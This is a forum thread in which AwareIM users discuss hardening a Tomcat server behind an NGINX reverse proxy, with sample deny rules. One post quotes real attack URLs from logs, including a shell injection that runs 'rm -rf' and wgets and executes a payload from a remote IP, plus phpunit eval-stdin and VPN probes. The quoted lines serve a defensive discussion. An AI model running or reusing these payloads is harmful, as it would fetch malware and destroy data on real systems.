Reverse Proxy Fallacy # 1: insulates the AIM server

Jaymer

I don't see how this happens at all.
The "aware server" is basically the Tomcat server.
And if hackers know a URL (ie. subdomain.maindomain.com), their request is going to be passed on
EVEN IF IT IS A HACKING ATTEMPT with garbage data, speculative paths, hex-encrypted strings, etc.
So it still gets to the server.

My apps never show /AwareIM, I changed that years ago.
And using the docbase in server.xml, my paths start already inside /AwareIM (which I rename to the subdomain anyway; point is its not visible).
So I thought about only allowing thru URIs, like logonOp.aw, webif.awr, etc, but thats a long list of tomcat servlets, plus a bunch of dirs (/Custom, /Aware_kendo, etc etc).

In order for this security to try and be effective, I'm thinking I need to go back to showing my subdomain in the URL, give up the "docbase" shortening, and then I could only pass thru URLs that contain "cust1/", for example, if the URL was cust1.appserver.com.
Hackers would be sending something like: (REAL examples)
cust1.appserver.com/shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws OR
cust1.appserver.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php OR
cust1.appserver.com/ssl-vpn/prelogin.esp?tmp=tmp&clientVer=4100&clientos=Windows

And those wouldn't be directed at the correct subdomain "cust1" so I could filter them IN THE REVERSE PROXY BEFORE they get to Aware.
If the hacker did THIS, it WOULD GET THRU:
cust1.appserver.com/cust1/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

... and even if it did, it will still have no effect (as it does now), but most likely none of these attempted URIs will pass the test.

One downside is the URL will have the subdomain repeated in it:
hiips://cust1.appserver.com/cust1/logonOp.aw#/home
and thats no big deal to me. I was never trying to perfectly sanitize the URL for end users' viewing anyway.

Another is some small amount of extra processing by the reverse proxy for testing of the subdomain string, but its already doing that to a certain degree anyway. Most likely negligible.

Using this strategy (with a little extra work) may be effective to reducing 95%+ of bogus traffic hitting Tomcat.

NOTE
Some people on here have pushed for the RP (reverse proxy) to ease implementing SSL certs - I never had an issue with that. Sure, it was annoying to install a new one when they expire, and yeah, you need to bounce the server.
I've never had RDP hacking issues, due to secure password usage.
People do hit the MSSQL server - but since 'sa' is disabled, they don't get far.

Certainly now with the RP as gatekeeper, the Tomcat server will get more 'pure' traffic, and the firewall there only sees traffic coming from the RP, AND MSSQL the same. No more attempts to be logging in there due to only a few open ports. So its a decent architecture change for $100/year.

I'm still working on failover strategies as pointed out in other threads - but no one seems to have any experience with that. There are ways to make Tomcat "high availability", but that requires some changing to the way Aware works. If you had an app that solely acquired and passed a JWT, then when that session was routed to the alternate server, it wouldn't matter because every request contains the JWT and it contains valid authentication info inside it, vs. the way Tomcat manager has its table of Sessions.

PointsWell

The attempts to go to gibberish pages should give 404 errors

on NGINX "proxy_intercept_errors on" and include the path to error pages on the NGINX server, which can be tailored to the specific sub domain's needs (branding messaging etc).

Determines whether proxied responses with codes greater than or equal to 300 should be passed to a client or be intercepted and redirected to nginx for processing with the error_page directive.

The RP should only be serving what is accessible in the Tomcat/webapps/AwareIM folder.

If you open up other directories outside AwareIM (/Custom, /Aware_kendo, etc etc) then it is undermining Tomcat's control of the subdirectories.

The DB should be isolated via firewall routes and only visible to the AIM server, so the RP should not be able to see the DB.

PointsWell

I’ve had a look at this and here’s how you stop a lot of things dead at the Proxy Server

Everything here is NGINX, you’ll be able to do this on Apache and IIS but I only have NGINX running.

Create a file and give it a meaningful name.

I used denyincphp.conf

Put something like this in it (or trawl your tomcat log for better examples

location ~*  /(robots.txt|.git|xampp|security|phpmyadmin|licenses|webalizer|server-status|server-info|api|.env|user|manager|admin|administrator|shop|store|magento|rss|invoker|jboss|wordpress|blog|wp-includes|ads.txt) {
                deny all;
        }
location ~* .php {
                deny all;
        }
location ~* .aspx {
                deny all;
        }

Then in each of your server directives add this line

 include /path/to/denyincphp.conf;

Where path/to is whatever the path to your conf file is.

Monitor your Tomcat log and update the deny file every so often and restart NGINX.

Note the directive above will deny anything that starts with the words in the list. If your BSV has that string in the list it will drop that as well, so be careful.

You can substitute deny all with

return 403;

Or 404 or another server code. This suggests that 410 is a better code as this means "gone", as in the resource is permanently unavailable (and theoretically reduces attempts to view the page), whereas 403 means "you may not see this", suggesting it still exists.

You could also redirect it somewhere else, for example a false domain name

redirect http://www.gjdjdjdjdjd.com;

Though I am not sure what that would do in terms of opening a connection on your proxy. You’d have to try it out. No responsibility for outcome is accepted.

Now your server will be more isolated.